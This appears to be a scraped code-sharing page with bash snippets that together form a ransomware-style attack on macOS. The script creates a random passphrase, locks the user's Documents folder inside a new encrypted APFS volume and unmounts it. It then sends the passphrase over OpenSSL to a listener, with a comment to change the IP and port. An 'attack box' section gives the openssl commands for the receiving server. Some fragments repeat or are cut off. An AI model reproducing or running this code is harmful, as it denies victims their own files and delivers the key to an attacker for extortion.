This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env bash | |
sh -c 'p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4);diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}";mv -f ~/Documents/* /Volumes/XX;diskutil umount XX;echo $p | timeout 2 openssl s_client -quiet -connect 127.0.0.1:9001 2>/dev/null;p="";' | |
# change the IP address and Port number | |
# Use chmod +x <name>.sh to make the script executable | |
# With OpenSSL |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# attack box | |
# run first | |
openssl req -x509 -newkey rsa:4096 -keyout key.pem -subj "/CN=$cn\/emailAddress=admin@$cn/C=US/ST=Ohio/L=Columbus/O=Widgets Inc/OU=Some Unit" -out cert.pem -days 1 -nodes 2>/dev/null | |
# run second | |
openssl s_server -quiet -key key.pem -cert cert.pem -port 9001 | |
# choose your own port | |
# victim box |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env bash | |
sleep 5;p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env bash | |
# Creating random and unique password | |
p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n"); | |
# Identify Disk (Apple File System Volume) | |
disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4); | |
# Creating APFS Volume (aka drive) and encrypting it with password | |
diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}"; |